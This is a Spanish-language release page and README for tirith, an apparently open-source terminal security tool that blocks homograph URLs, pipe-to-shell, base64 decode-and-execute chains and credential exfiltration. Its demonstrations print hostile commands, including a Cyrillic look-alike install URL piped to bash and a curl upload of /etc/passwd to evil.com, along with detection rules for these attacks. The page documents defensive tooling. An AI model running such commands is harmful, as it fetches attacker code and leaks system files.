Volver a actualizaciones
Nuevo releaseSep 12, 2026

tirith v0.4.2

Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.

Compartir

tirith

Tu navegador detectaría esto. Tu terminal no.

tirith, seguridad de terminal

CI GitHub Stars License: AGPL-3.0

Sitio web | Documentación | SKILL.md | Registro de cambios | Versiones

Vercel OSS Program

Proyecto de código abierto independiente, con alojamiento respaldado por el Vercel Open Source Program (Spring 2026 Cohort).


¿Puedes detectar la diferencia?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

No puedes. Tu terminal tampoco. Ambos caracteres `і` son cirílicos (U+0456), no la `i` latina. La segunda URL resuelve al servidor de un atacante. El script se ejecuta antes de que te des cuenta.

Los navegadores resolvieron esto hace años. Los terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.

**Tirith monta guardia en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos desde una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.```bash
brew install tirith

Luego actívalo en el perfil de tu shell:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo es necesario cuando quieres anular la detección.

Eso es todo para la cobertura de shell interactivo. Los comandos aceptados por ese shell se
verifican mientras el hook está cargado y saludable; el comportamiento exacto de bloqueo depende
del shell y del modo. Ejecuta `tirith doctor` después de la instalación y las actualizaciones, y
lee [enforcement by shell](#enforcement-by-shell) antes de tratar el hook como
un límite de autorización. Los comandos limpios permanecen silenciosos y normalmente toman la
ruta rápida.

También disponible a través de [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), y [más](#install).

---

## Míralo funcionar

**Ataque homográfico, bloqueado antes de la ejecución:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

El comando nunca se ejecuta.

Pipe-to-shell con URL limpia, advertido, no bloqueado:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

Advertencia se imprime en stderr. El comando aún se ejecuta.

**Cadena de decodificación-ejecución en Base64, bloqueada:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Detecta también cadenas de decodificación a través de wrappers de sudo/env y -EncodedCommand de PowerShell.

Exfiltración de credenciales, bloqueada:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

Cubre todos los flags de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.

**Archivo de skill malicioso, detectado en el escaneo:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.

Comandos normales, invisibles:``` $ git status $ ls -la $ docker compose up -d

Nada. Cero salida. Olvidas que tirith se está ejecutando.

---

## Qué detecta

**244 reglas de detección en 35 categorías.**

Categorías